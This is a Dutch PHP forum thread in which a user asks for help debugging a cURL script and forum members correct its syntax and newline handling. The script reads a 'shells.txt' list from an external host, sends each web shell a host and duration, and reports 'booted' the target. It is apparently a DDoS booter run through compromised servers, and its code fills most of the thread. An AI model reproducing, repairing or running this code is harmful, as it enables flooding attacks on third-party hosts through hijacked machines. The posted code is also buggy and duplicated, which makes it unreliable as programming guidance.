File get content in cURL
Lees eens terug in dit topic wat Santhe zei.
Dat heeft er niks mee te maken, normaal heten ze anders
Toevoeging op 11/05/2014 19:49:06:
Je kan GEEN cijfers als variabele gebruiken, gebruik gewoon LOGISCHE namen.
Ze heten ook niet zo :P, is een voorbeeld want normaal heten ze nogal "illegaal"
- Waar komen $1 en $2 ineens vandaan, behalve het feit dat dat niet mag in PHP zijn ze nergens gedefinieerd.
- Lekker mooi ingesprongen...
- "isset($_POST['1']) && isset($_POST['1'])" beetje dubbelop...
- Ook curl heeft foutafhandeling
Gewijzigd op 11/05/2014 19:58:03 door Wouter J
Toevoeging op 11/05/2014 19:59:00:
Wouter J op 11/05/2014 19:57:36:
Wat gaat er mis?
- Waar komen $1 en $2 ineens vandaan, behalve het feit dat dat niet mag in PHP zijn ze nergens gedefinieerd.
- Lekker mooi ingesprongen...
- "isset($_POST['1']) && isset($_POST['1'])" beetje dubbelop...
- Ook curl heeft foutafhandeling
- Waar komen $1 en $2 ineens vandaan, behalve het feit dat dat niet mag in PHP zijn ze nergens gedefinieerd.
- Lekker mooi ingesprongen...
- "isset($_POST['1']) && isset($_POST['1'])" beetje dubbelop...
- Ook curl heeft foutafhandeling
Die shit is als voorbeeld..
Zou wel handig zijn als wij de code kregen die je aan het maken bent. Dat helpt erg in het helpen met de code :) Tevens moet je je gaan afvragen of je geschikt bent voor programmeren als je je eigen code na 2 jaar programmeren nog "shit" noemt...
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(-1);
if (isset($_POST['host']) && isset($_POST['time'])) {
$host = htmlspecialchars($_POST['host']);
$time = htmlspecialchars($_POST['time']);
$urls = file('http://*nl/*.txt');
foreach($urls as $get) {
$get = $get.'?act=phptools&host=' . $host . '&time=' . $time . ' ';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $get);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
echo 'booted ' . $host . ' for ' . $time . ' seconds ';
echo $get;
}
} else {
?>
<form method="POST" action="">
<p>Host</p>
<input type="text" name="host" placeholder="Host">
<p>Time</p>
<input type="text" name="time" placeholder="Time">
<br>
<input type="submit" value="test">
</form>
<?php
}
?>
error_reporting(-1);
if (isset($_POST['host']) && isset($_POST['time'])) {
$host = htmlspecialchars($_POST['host']);
$time = htmlspecialchars($_POST['time']);
$urls = file('http://*nl/*.txt');
foreach($urls as $get) {
$get = $get.'?act=phptools&host=' . $host . '&time=' . $time . ' ';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $get);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
echo 'booted ' . $host . ' for ' . $time . ' seconds ';
echo $get;
}
} else {
?>
<form method="POST" action="">
<p>Host</p>
<input type="text" name="host" placeholder="Host">
<p>Time</p>
<input type="text" name="time" placeholder="Time">
<br>
<input type="submit" value="test">
</form>
<?php
}
?>
Moet ik voor vriend maken.
Toevoeging op 12/05/2014 15:44:21:
Bump?
Nog maar even een "bump"
Wat is het probleem? Wat is je *relevante* uitvoer?
http://kaas.nl ?checker&1=1&2=2
http://kaas2.nl ?checker&1=1&2=2
http://kaas3.nl ?checker&1=1&2=2
http://kaas4.nl ?checker&1=1&2=2
http://kaas5.nl?checker&1=1&2=2
Dus de laatste werkt wel, misschien de file zonder .txt opslaan en /n als new line proberen?
Het gebruik van een linebreak met PHP_EOL zou een goed idee zijn.
Gewijzigd op 13/05/2014 23:10:10 door - Ariën -
Kan je daar een voorbeeld van geven? / php.net.
http://www.php.net/manual/en/reserved.constants.php
Had je zelf ook kunnen vinden.... ;)
Als ik Google naar PHP_EOL, dan kom ik uit op: Had je zelf ook kunnen vinden.... ;)
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(-1);
if (isset($_POST['host']) && isset($_POST['time'])) {
$host = htmlspecialchars($_POST['host']);
$time = htmlspecialchars($_POST['time']);
$urls = file(nl2br('http://creeby.nl/shells.txt'));
foreach($urls as $get) {
$get = $get.' . PHP_EOL .?act=phptools&host=' . $host . '&time=' . $time . '';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $get);
curl_setopt($ch, CURLOPT_TIMEOUT, 0.6);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
echo 'booted ' . $host . ' for ' . $time . ' seconds ';
echo $get;
}
} else {
?>
<form method="POST" action="">
<p>Host</p>
<input type="text" name="host" placeholder="Host">
<p>Time</p>
<input type="text" name="time" placeholder="Time">
<br>
<input type="submit" value="boot">
</form>
<?php
}
?>
error_reporting(-1);
if (isset($_POST['host']) && isset($_POST['time'])) {
$host = htmlspecialchars($_POST['host']);
$time = htmlspecialchars($_POST['time']);
$urls = file(nl2br('http://creeby.nl/shells.txt'));
foreach($urls as $get) {
$get = $get.' . PHP_EOL .?act=phptools&host=' . $host . '&time=' . $time . '';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $get);
curl_setopt($ch, CURLOPT_TIMEOUT, 0.6);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
echo 'booted ' . $host . ' for ' . $time . ' seconds ';
echo $get;
}
} else {
?>
<form method="POST" action="">
<p>Host</p>
<input type="text" name="host" placeholder="Host">
<p>Time</p>
<input type="text" name="time" placeholder="Time">
<br>
<input type="submit" value="boot">
</form>
<?php
}
?>
Toevoeging op 14/05/2014 16:28:48:
Output is:
booted - for 1 seconds http://kaas.nl . PHP_EOL .?act=phptools&host=-&time=1booted - for 1 seconds http://laas2.nl . PHP_EOL .?act=phptools&host=-&time=1
Je weet toch wel wat een constante is, of is dat ook nog nieuw voor je?
Gewijzigd op 14/05/2014 16:37:31 door - Ariën -
Als ik het goed heb, is dat om iets te returnen.
Als je het maar op de juiste manier gebruikt.